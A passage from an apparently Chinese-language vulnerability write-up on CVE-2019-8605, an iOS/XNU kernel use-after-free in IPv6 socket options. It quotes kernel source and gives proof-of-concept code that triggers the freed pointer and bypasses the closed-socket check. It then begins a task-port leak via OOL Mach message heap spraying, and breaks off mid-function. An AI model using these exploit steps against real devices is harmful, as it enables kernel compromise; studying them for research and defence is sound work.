NSLog(@"%d", info.tcpi_state);
函数`tcp_close()`实在是太长了，这里去掉了部分业务逻辑代码，反正肯定会执行到下面的，此处会判断协议族，本次漏洞发生在位置10的函数`in6_pcbdetach()`
struct tcpcb *
tcp_close(struct tcpcb *tp)
{
struct inpcb *inp = tp->t_inpcb;
struct socket *so = inp->inp_socket;
...
#if INET6
if (SOCK_CHECK_DOM(so, PF_INET6))
in6_pcbdetach(inp); // 10
else
#endif /* INET6 */
in_pcbdetach(inp);
/*
* Call soisdisconnected after detach because it might unlock the socket
*/
soisdisconnected(so);
tcpstat.tcps_closed++;
KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END,
tcpstat.tcps_closed, 0, 0, 0, 0);
return (NULL);
}
函数`in6_pcbdetach()`的位置11调用函数`ip6_freepcbopts()`释放结构体成员`inp->in6p_outputopts`，从上下文可以看出来，这里只进行了释放操作，并没有将`inp->in6p_outputopts`置为`NULL`，符合UAF的漏洞模型
void
in6_pcbdetach(struct inpcb *inp)
{
struct socket *so = inp->inp_socket;
if (so->so_pcb == NULL) {
/* PCB has been disposed */
panic("%s: inp=%p so=%p proto=%d so_pcb is null!\n", __func__,
inp, so, SOCK_PROTO(so));
/* NOTREACHED */
}
#if IPSEC
if (inp->in6p_sp != NULL) {
(void) ipsec6_delete_pcbpolicy(inp);
}
#endif /* IPSEC */
if (inp->inp_stat != NULL && SOCK_PROTO(so) == IPPROTO_UDP) {
if (inp->inp_stat->rxpackets == 0 && inp->inp_stat->txpackets == 0) {
INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data);
}
}
/*
* Let NetworkStatistics know this PCB is going away
* before we detach it.
*/
if (nstat_collect &&
(SOCK_PROTO(so) == IPPROTO_TCP || SOCK_PROTO(so) == IPPROTO_UDP))
nstat_pcb_detach(inp);
/* mark socket state as dead */
if (in_pcb_checkstate(inp, WNT_STOPUSING, 1) != WNT_STOPUSING) {
panic("%s: so=%p proto=%d couldn't set to STOPUSING\n",
__func__, so, SOCK_PROTO(so));
/* NOTREACHED */
}
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL;
}
ip6_freepcbopts(inp->in6p_outputopts); // 11
ROUTE_RELEASE(&inp->in6p_route);
/* free IPv4 related resources in case of mapped addr */
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options);
inp->inp_options = NULL;
}
im6o = inp->in6p_moptions;
inp->in6p_moptions = NULL;
imo = inp->inp_moptions;
inp->inp_moptions = NULL;
sofreelastref(so, 0);
inp->inp_state = INPCB_STATE_DEAD;
/* makes sure we're not called twice from so_close */
so->so_flags |= SOF_PCBCLEARING;
inpcb_gc_sched(inp->inp_pcbinfo, INPCB_TIMER_FAST);
/*
* See inp_join_group() for why we need to unlock
*/
if (im6o != NULL || imo != NULL) {
socket_unlock(so, 0);
if (im6o != NULL)
IM6O_REMREF(im6o);
if (imo != NULL)
IMO_REMREF(imo);
socket_lock(so, 0);
}
}
}
跟到这里我只能说Socket实在是太庞大了！
## 3\. 探索漏洞触发路径
从漏洞分析可以看到这个漏洞函数是可以从用户态进行调用的
448 AUE_NULL ALL { int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }
所以最基本的调用代码如下，调用完函数`disconnectx()`之后，我们就获得了一个存在漏洞的结构体变量`tcp_sock`
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
disconnectx(tcp_sock, 0, 0);
}
我们知道，UAF漏洞的一个关键点在于释放掉的一个指针后续被继续使用，那我们如何使用一个被关闭后的Socket呢？
Socket有两个属性读写函数`getsockopt()`和`setsockopt()`，两个函数的原型如下
105 AUE_SETSOCKOPT ALL { int setsockopt(int s, int level, int name, caddr_t val, socklen_t valsize); }
118 AUE_GETSOCKOPT ALL { int getsockopt(int s, int level, int name, caddr_t val, socklen_t *avalsize); }
函数`setsockopt()`的第一个参数是Socket变量，第二个参数有多个选择，看操作的层级，第三个是操作的选项名，这个选项名跟第二个参数`level`有关，第四个参数是新选项值的指针，第五个参数是第四个参数的大小
#define IPV6_USE_MIN_MTU 42
int get_minmtu(int sock, int *minmtu) {
socklen_t size = sizeof(*minmtu);
return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
// SOPT_SET
int minmtu = -1;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
// SOPT_GET
int mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@"%d\n", mtu);
}
为什么第二个参数和第三个参数要设置成`IPPROTO_IPV6`和`IPV6_USE_MIN_MTU`？
这就要先来看最开始那个没有被置为`NULL`的结构体成员`inp->in6p_outputopts`了，这个成员的结构体定义如下
struct ip6_pktopts {
struct mbuf *ip6po_m; /* Pointer to mbuf storing the data */
int ip6po_hlim; /* Hoplimit for outgoing packets */
/* Outgoing IF/address information */
struct in6_pktinfo *ip6po_pktinfo;
/* Next-hop address information */
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
/* Destination options header (before a routing header) */
struct ip6_dest *ip6po_dest1;
/* Routing header related info. */
struct ip6po_rhinfo ip6po_rhinfo;
/* Destination options header (after a routing header) */
struct ip6_dest *ip6po_dest2;
int ip6po_tclass; /* traffic class */
int ip6po_minmtu; /* fragment vs PMTU discovery policy */
#define IP6PO_MINMTU_MCASTONLY -1 /* default; send at min MTU for multicast */
#define IP6PO_MINMTU_DISABLE 0 /* always perform pmtu disc */
#define IP6PO_MINMTU_ALL 1 /* always send at min MTU */
/* whether temporary addresses are preferred as source address */
int ip6po_prefer_tempaddr;
#define IP6PO_TEMPADDR_SYSTEM -1 /* follow the system default */
#define IP6PO_TEMPADDR_NOTPREFER 0 /* not prefer temporary address */
#define IP6PO_TEMPADDR_PREFER 1 /* prefer temporary address */
int ip6po_flags;
#if 0 /* parameters in this block is obsolete. do not reuse the values. */
#define IP6PO_REACHCONF 0x01 /* upper-layer reachability confirmation. */
#define IP6PO_MINMTU 0x02 /* use minimum MTU (IPV6_USE_MIN_MTU) */
#endif
#define IP6PO_DONTFRAG 0x04 /* no fragmentation (IPV6_DONTFRAG) */
#define IP6PO_USECOA 0x08 /* use care of address */
};
无论是`set*()`还是`get*()`，最后都肯定是要通过一个`case`判断再操作到结构体成员的
源码搜索`IPV6_USE_MIN_MTU`，在函数`ip6_getpcbopt`发现一段符合我们所说特征的代码，可见选项`IPV6_USE_MIN_MTU`操作的结构体成员是`ip6_pktopts->ip6po_minmtu`
static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
int sticky, int cmsg, int uproto)
{
...
switch (optname) {
...
case IPV6_USE_MIN_MTU:
if (len != sizeof (int))
return (EINVAL);
minmtupolicy = *(int *)(void *)buf;
if (minmtupolicy != IP6PO_MINMTU_MCASTONLY &&
minmtupolicy != IP6PO_MINMTU_DISABLE &&
minmtupolicy != IP6PO_MINMTU_ALL) {
return (EINVAL);
}
opt->ip6po_minmtu = minmtupolicy; // 赋值操作
break;
函数`ip6_setpktopts()`和函数`ip6_pcbopt()`都调用到了函数`ip6_setpktopt()`，但前者的调用逻辑不符合，所以确定调用者是函数`ip6_pcbopt`
static int
ip6_pcbopt(int optname, u_char *buf, int len, struct ip6_pktopts **pktopt,
int uproto)
{
struct ip6_pktopts *opt;
opt = *pktopt;
if (opt == NULL) {
opt = _MALLOC(sizeof (*opt), M_IP6OPT, M_WAITOK);
if (opt == NULL)
return (ENOBUFS);
ip6_initpktopts(opt);
*pktopt = opt;
}
return (ip6_setpktopt(optname, buf, len, opt, 1, 0, uproto));
}
在函数`ip6_ctloutput()`里，当`optname`为`IPV6_USE_MIN_MTU`的时候调用函数`ip6_pcbopt()`
int
ip6_ctloutput(struct socket *so, struct sockopt *sopt)
{
...
if (level == IPPROTO_IPV6) {
boolean_t capture_exthdrstat_in = FALSE;
switch (op) {
case SOPT_SET:
switch (optname) {
...
case IPV6_TCLASS:
case IPV6_DONTFRAG:
case IPV6_USE_MIN_MTU:
case IPV6_PREFER_TEMPADDR: {
...
optp = &in6p->in6p_outputopts;
error = ip6_pcbopt(optname, (u_char *)&optval,
sizeof (optval), optp, uproto);
...
break;
}
函数`rip6_ctloutput()`做了`SOPT_SET`和`SOPT_GET`的判断，`IPV6_USE_MIN_MTU`会走`default`分支调用函数`ip6_ctloutput()`
int
rip6_ctloutput(
struct socket *so,
struct sockopt *sopt)
{
...
switch (sopt->sopt_dir) {
case SOPT_GET:
...
case SOPT_SET:
switch (sopt->sopt_name) {
case IPV6_CHECKSUM:
error = ip6_raw_ctloutput(so, sopt);
break;
case SO_FLUSH:
if ((error = sooptcopyin(sopt, &optval, sizeof (optval),
sizeof (optval))) != 0)
break;
error = inp_flush(sotoinpcb(so), optval);
break;
default:
error = ip6_ctloutput(so, sopt); // 选项名为IPV6_USE_MIN_MTU
break;
}
break;
}
return (error);
}
函数`rip6_ctloutput()`并不是常规的层层调用回去，而是使用结构体赋值的形式进行调用
{
...
.pr_ctloutput = rip6_ctloutput,
}
这个也简单，直接搜索`->pr_ctloutput`，当`level`不是`SOL_SOCKET`的时候，就调用函数`rip6_ctloutput()`
int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
...
if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
/* the socket has been shutdown, no more sockopt's */
error = EINVAL;
goto out;
}
...
if (sopt->sopt_level != SOL_SOCKET) {
if (so->so_proto != NULL &&
so->so_proto->pr_ctloutput != NULL) {
error = (*so->so_proto->pr_ctloutput)(so, sopt);
goto out;
}
error = ENOPROTOOPT;
} else {
最后回到最早的调用函数`setsockopt()`
int
setsockopt(struct proc *p, struct setsockopt_args *uap,
__unused int32_t *retval)
{
struct socket *so;
struct sockopt sopt;
int error;
AUDIT_ARG(fd, uap->s);
if (uap->val == 0 && uap->valsize != 0)
return (EFAULT);
/* No bounds checking on size (it's unsigned) */
error = file_socket(uap->s, &so);
if (error)
return (error);
sopt.sopt_dir = SOPT_SET;
sopt.sopt_level = uap->level;
sopt.sopt_name = uap->name;
sopt.sopt_val = uap->val;
sopt.sopt_valsize = uap->valsize;
sopt.sopt_p = p;
if (so == NULL) {
error = EINVAL;
goto out;
}
#if CONFIG_MACF_SOCKET_SUBSET
if ((error = mac_socket_check_setsockopt(kauth_cred_get(), so,
&sopt)) != 0)
goto out;
#endif /* MAC_SOCKET_SUBSET */
error = sosetoptlock(so, &sopt, 1); /* will lock socket */
out:
file_drop(uap->s);
return (error);
}
以上为参数`IPPROTO_IPV6`和`IPV6_USE_MIN_MTU`的由来
但记住，现在是Socket还正常存在的情况，如果调用了函数`disconnectx()`呢？
Socket被关闭了还能操作吗？
#define IPV6_USE_MIN_MTU 42
int get_minmtu(int sock, int *minmtu) {
socklen_t size = sizeof(*minmtu);
return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
// SOPT_SET
int minmtu = -1;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
// 释放in6p_outputopts
disconnectx(tcp_sock, 0, 0);
int ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if (ret) {
printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
return -1;
}
}
显然是不能的
[-] setsockopt() failed, error 22 (Invalid argument)
因为在函数`sosetoptlock()`有一个检查，如果发现Socket已经被关闭，就直接失败
#define SS_CANTRCVMORE 0x0020 /* can't receive more data from peer */
#define SS_CANTSENDMORE 0x0010 /* can't send more data to peer */
#define SOF_NPX_SETOPTSHUT 0x00002000 /* Non POSIX extension to allow
int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
...
if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
/* the socket has been shutdown, no more sockopt's */
error = EINVAL;
goto out;
}
...
理解一下这个检查，左边`so->so_state`只能是`SS_CANTRCVMORE`与`SS_CANTSENDMORE`之间任意一种且右边`so->so_flags`不能是`SOF_NPX_SETOPTSHUT`，就会跳到`goto
out`
(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0
但是天无绝人之路，看下面这个宏，允许在关闭Socket之后使用函数`setsockopt`
#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */
找到这个宏的使用场景，发现是在`level`为`SOL_SOCKET`的分支里，当满足`sonpx.npx_mask`和`sonpx.npx_flags`都为`SONPX_SETOPTSHUT`时，就会给`so->so_flags`添加`SOF_NPX_SETOPTSHUT`标志位
int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
...
if (sopt->sopt_level != SOL_SOCKET) {
...
} else {
...
switch (sopt->sopt_name) {
...
case SO_NP_EXTENSIONS: {
struct so_np_extensions sonpx;
error = sooptcopyin(sopt, &sonpx, sizeof (sonpx),
sizeof (sonpx));
if (error != 0)
goto out;
if (sonpx.npx_mask & ~SONPX_MASK_VALID) {
error = EINVAL;
goto out;
}
/*
* Only one bit defined for now
*/
if ((sonpx.npx_mask & SONPX_SETOPTSHUT)) {
if ((sonpx.npx_flags & SONPX_SETOPTSHUT))
so->so_flags |= SOF_NPX_SETOPTSHUT; // 添加标志位
else
so->so_flags &= ~SOF_NPX_SETOPTSHUT;
}
break;
}
当`so->so_flags`拥有`SOF_NPX_SETOPTSHUT`标志位，那么右边的检查就不能成立，成功绕过
(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0
此时的代码如下
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
int minmtu = -1;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
disconnectx(tcp_sock, 0, 0);
minmtu = 1;
ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if (ret) {
printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
return -1;
}
int mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@"%d\n", mtu);
return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}
相当成功
2021-01-20 00:26:04.136672+0800 CVE-2019-8605-iOS[650:238743] 1
## 4\. 泄露Task Port内核态地址
UAF漏洞常规利用方案是堆喷分配到先前释放掉的空间，这样我们拥有的指针指向的空间数据就可控，接下来尝试泄露一个地址
按照Ned Williamson的思路来分析利用方案，以下的分析顺序并非按照Exp的顺序进行，大家可自行对照
* [https://bugs.chromium.org/p/project-zero/issues/attachment?aid=403533&signed_aid=-2cO9Y7SDzmQNv1CHt6J3w==](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=403533&signed_aid=-2cO9Y7SDzmQNv1CHt6J3w==)
那么我们泄露什么地址呢？
答案是：`Task Port`
为了解释说明什么是`Task Port`以及获取`Task Port`能干什么，这里先介绍XNU的Task
Task是资源的容器，封装了虚拟地址空间，处理器资源，调度控制等，对应的结构体如下，重点注意其中的`IPC structures`部分
struct task {
/* Synchronization/destruction information */
decl_lck_mtx_data(,lock) /* Task's lock */
_Atomic uint32_t ref_count; /* Number of references to me */
boolean_t active; /* Task has not been terminated */
boolean_t halting; /* Task is being halted */
/* Virtual timers */
uint32_t vtimers;
/* Miscellaneous */
vm_map_t map; /* Address space description */
queue_chain_t tasks; /* global list of tasks */
/* Threads in this task */
queue_head_t threads;
...
/* IPC structures */
decl_lck_mtx_data(,itk_lock_data)
struct ipc_port *itk_self; /* not a right, doesn't hold ref */
struct ipc_port *itk_nself; /* not a right, doesn't hold ref */
struct ipc_port *itk_sself; /* a send right */
struct exception_action exc_actions[EXC_TYPES_COUNT];
/* a send right each valid element */
struct ipc_port *itk_host; /* a send right */
struct ipc_port *itk_bootstrap; /* a send right */
struct ipc_port *itk_seatbelt; /* a send right */
struct ipc_port *itk_gssd; /* yet another send right */
struct ipc_port *itk_debug_control; /* send right for debugmode communications */
struct ipc_port *itk_task_access; /* and another send right */
struct ipc_port *itk_resume; /* a receive right to resume this task */
struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
/* all send rights */
struct ipc_space *itk_space;
...
};
简单来说，`Task
Port`是任务本身的Port，使用`mach_task_self`或`mach_task_self()`都可以获取到它，我可以利用它做很多事情，下面利用代码中的函数`find_port_via_uaf()`第一个参数就是通过调用函数`mach_task_self()`获取的
泄露`Task Port`的流程如下
self_port_addr = task_self_addr(); // port leak primitive
这里还用到了缓存机制
uint64_t task_self_addr() {
static uint64_t cached_task_self_addr = 0;
// 判断是否获取过Task Port地址
if (cached_task_self_addr)
return cached_task_self_addr; // 返回缓存的Task Port地址
else
return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}
先获取一个存在漏洞的Socket，然后填充释放掉的内存并利用`inp->in6p_outputopts`读取数据
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
int sock = get_socket_with_dangling_options();
// 填充释放掉的内存并利用inp->in6p_outputopts读取数据
...
close(sock);
return 0;
}
**这里不直接填充数据是因为Port在用户态和内核态表现形式不一样，我们不能盲目直接把Port填充进去**
在用户态，Port是一个无符号整形
typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t; /* Used by mach */
typedef __darwin_natural_t __darwin_mach_port_name_t; /* Used by mach */
typedef unsigned int __darwin_natural_t;
在内核态，Port可是一个结构体`ipc_port`
struct ipc_port {
/*
* Initial sub-structure in common with ipc_pset
* First element is an ipc_object second is a
* message queue
*/
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
} data;
union {
ipc_kobject_t kobject;
ipc_importance_task_t imp_task;
ipc_port_t sync_inheritor_port;
struct knote *sync_inheritor_knote;
struct turnstile *sync_inheritor_ts;
} kdata;
struct ipc_port *ip_nsrequest;
struct ipc_port *ip_pdrequest;
struct ipc_port_request *ip_requests;
union {
struct ipc_kmsg *premsg;
struct turnstile *send_turnstile;
SLIST_ENTRY(ipc_port) dealloc_elm;
} kdata2;
mach_vm_address_t ip_context;
natural_t ip_sprequests:1, /* send-possible requests outstanding */
ip_spimportant:1, /* ... at least one is importance donating */
ip_impdonation:1, /* port supports importance donation */
ip_tempowner:1, /* dont give donations to current receiver */
ip_guarded:1, /* port guarded (use context value as guard) */
ip_strict_guard:1, /* Strict guarding; Prevents user manipulation of context values directly */
ip_specialreply:1, /* port is a special reply port */
ip_sync_link_state:3, /* link the special reply port to destination port/ Workloop */
ip_impcount:22; /* number of importance donations in nested queue */
mach_port_mscount_t ip_mscount;
mach_port_rights_t ip_srights;
mach_port_rights_t ip_sorights;
#if MACH_ASSERT
#define IP_NSPARES 4
#define IP_CALLSTACK_MAX 16
/* queue_chain_t ip_port_links;*//* all allocated ports */
thread_t ip_thread; /* who made me? thread context */
unsigned long ip_timetrack; /* give an idea of "when" created */
uintptr_t ip_callstack[IP_CALLSTACK_MAX]; /* stack trace */
unsigned long ip_spares[IP_NSPARES]; /* for debugging */
#endif /* MACH_ASSERT */
#if DEVELOPMENT || DEBUG
uint8_t ip_srp_lost_link:1, /* special reply port turnstile link chain broken */
ip_srp_msg_sent:1; /* special reply port msg sent */
#endif
};
那怎么把它的内核态地址分配到`inp->in6p_outputopts`呢？
答案是：使用`OOL Message`
`OOL
Message`定义如下，结构体`mach_msg_ool_ports_descriptor_t`用于在一条消息里以Port数组的形式发送多个`Mach
Port`
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
为什么要使用`OOL Message`作为填充对象，我们可以从源码中找到答案
Mach Message的接收与发送依赖函数`mach_msg()`进行，这个函数在用户态与内核态均有实现
我们跟入函数`mach_msg()`，函数`mach_msg()`会调用函数`mach_msg_trap()`，函数`mach_msg_trap()`会调用函数`mach_msg_overwrite_trap()`
mach_msg_return_t
mach_msg_trap(
struct mach_msg_overwrite_trap_args *args)
{
kern_return_t kr;
args->rcv_msg = (mach_vm_address_t)0;
kr = mach_msg_overwrite_trap(args);
return kr;
}
当函数`mach_msg()`第二个参数是`MACH_SEND_MSG`的时候，函数`ipc_kmsg_get()`用于分配缓冲区并从用户态拷贝数据到内核态
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args *args)
{
mach_vm_address_t msg_addr = args->msg;
mach_msg_option_t option = args->option; // mach_msg()第二个参数
...
mach_msg_return_t mr = MACH_MSG_SUCCESS; // 大吉大利
vm_map_t map = current_map();
/* Only accept options allowed by the user */
option &= MACH_MSG_OPTION_USER;
if (option & MACH_SEND_MSG) {
ipc_space_t space = current_space();
ipc_kmsg_t kmsg; // 创建kmsg变量
// 分配缓冲区并从用户态拷贝消息头到内核态
mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
// 转换端口，并拷贝消息体
mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
// 发送消息
mr = ipc_kmsg_send(kmsg, option, msg_timeout);
}
if (option & MACH_RCV_MSG) {
...
}
return MACH_MSG_SUCCESS;
}
函数`ipc_kmsg_get()`，`ipc_kmsg_t`就是内核态的消息存储结构体，拷贝过程看注释，这里基本是在处理`kmsg->ikm_header`，也就是用户态传入的消息数据
mach_msg_return_t
ipc_kmsg_get(
mach_vm_address_t msg_addr,
mach_msg_size_t size,
ipc_kmsg_t *kmsgp)
{
mach_msg_size_t msg_and_trailer_size;
ipc_kmsg_t kmsg;
mach_msg_max_trailer_t *trailer;
mach_msg_legacy_base_t legacy_base;
mach_msg_size_t len_copied;
legacy_base.body.msgh_descriptor_count = 0;
// 长度参数检查
...
// mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
if (size == sizeof(mach_msg_legacy_header_t)) {
len_copied = sizeof(mach_msg_legacy_header_t);
} else {
len_copied = sizeof(mach_msg_legacy_base_t);
}
// 从用户态拷贝消息到内核态
if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
return MACH_SEND_INVALID_DATA;
}
// 获取内核态消息变量起始地址
msg_addr += sizeof(legacy_base.header);
// 直接加上最长的trailer长度，不知道接收者会定义何种类型的trailer，此处是做备用操作
// typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
// #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
msg_and_trailer_size = size + MAX_TRAILER_SIZE;
// 分配内核空间
kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
// 初始化kmsg.ikm_header部分字段
...
// 拷贝消息体，此处不包括trailer
if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
ipc_kmsg_free(kmsg);
return MACH_SEND_INVALID_DATA;
}
// 通过size找到kmsg尾部trailer的起始地址，进行初始化
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
*kmsgp = kmsg;
return MACH_MSG_SUCCESS;
}
函数`ipc_kmsg_copyin()`是我们这里重点分析的逻辑，整个代码我删掉了业务无关的部分，函数`ipc_kmsg_copyin_header()`跟我们要分析的逻辑无关，主要看函数`ipc_kmsg_copyin_body()`
mach_msg_return_t
ipc_kmsg_copyin(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t map,
mach_msg_priority_t override,
mach_msg_option_t *optionp)
{
mach_msg_return_t mr;
kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
return MACH_MSG_SUCCESS;
mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);
return mr;
}
函数`ipc_kmsg_copyin_body()`先判断OOL数据是否满足条件，并且视情况对内核空间进行调整，最后调用关键函数`ipc_kmsg_copyin_ool_ports_descriptor()`
mach_msg_return_t
ipc_kmsg_copyin_body(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t map,
mach_msg_option_t *optionp)
{
ipc_object_t dest;
mach_msg_body_t *body;
mach_msg_descriptor_t *daddr, *naddr;
mach_msg_descriptor_t *user_addr, *kern_addr;
mach_msg_type_number_t dsc_count;
// #define VM_MAX_ADDRESS ((vm_address_t) 0x80000000)
boolean_t is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);
boolean_t complex = FALSE;
vm_size_t space_needed = 0;
vm_offset_t paddr = 0;
vm_map_copy_t copy = VM_MAP_COPY_NULL;
mach_msg_type_number_t i;
mach_msg_return_t mr = MACH_MSG_SUCCESS;
vm_size_t descriptor_size = 0;
mach_msg_type_number_t total_ool_port_count = 0;
// 目标端口
dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
// 内核态消息体的起始地址
body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
naddr = (mach_msg_descriptor_t *) (body + 1);
// 如果msgh_descriptor_count为0表示没有数据，直接返回，此处我们设置的是1
dsc_count = body->msgh_descriptor_count;
if (dsc_count == 0) return MACH_MSG_SUCCESS;
daddr = NULL;
for (i = 0; i < dsc_count; i++) {
mach_msg_size_t size;
mach_msg_type_number_t ool_port_count = 0;
daddr = naddr;
/* make sure the descriptor fits in the message */
// 结构体mach_msg_ool_ports_descriptor_t第一个字段为地址
// void* address;
// 64位是8字节，32位是4字节
if (is_task_64bit) {
switch (daddr->type.type) {
case MACH_MSG_OOL_DESCRIPTOR:
case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
descriptor_size += 16;
naddr = (typeof(naddr))((vm_offset_t)daddr + 16);
break;
default:
descriptor_size += 12;
naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
break;
}
} else {
descriptor_size += 12;
naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
}
}
user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
// 判断是否需要左移，默认只有1个descriptor的大小，1个长度是16字节，我们设置的是1个，所以不需要移动
if(descriptor_size != 16*dsc_count) {
vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size;
memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust);
kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
}
kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
/* handle the OOL regions and port descriptors. */
for(i = 0; i < dsc_count; i++) {
switch (user_addr->type.type) {
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr,
user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr);
kern_addr++;
complex = TRUE;
break;
}
} /* End of loop */
...
}
函数`ipc_kmsg_copyin_ool_ports_descriptor()`专注处理OOL数据，调用了一个关键的函数`ipc_object_copyin()`
mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
mach_msg_ool_ports_descriptor_t *dsc,
mach_msg_descriptor_t *user_dsc,
int is_64bit,
vm_map_t map,
ipc_space_t space,
ipc_object_t dest,
ipc_kmsg_t kmsg,
mach_msg_option_t *optionp,
mach_msg_return_t *mr)
{
void *data;
ipc_object_t *objects;
unsigned int i;
mach_vm_offset_t addr;
mach_msg_type_name_t user_disp;
mach_msg_type_name_t result_disp;
mach_msg_type_number_t count;
mach_msg_copy_options_t copy_option;
boolean_t deallocate;
mach_msg_descriptor_type_t type;
vm_size_t ports_length, names_length;
if (is_64bit) {
mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc;
addr = (mach_vm_offset_t)user_ool_dsc->address;
count = user_ool_dsc->count;
deallocate = user_ool_dsc->deallocate;
copy_option = user_ool_dsc->copy;
user_disp = user_ool_dsc->disposition;
type = user_ool_dsc->type;
user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
} else {
...
}
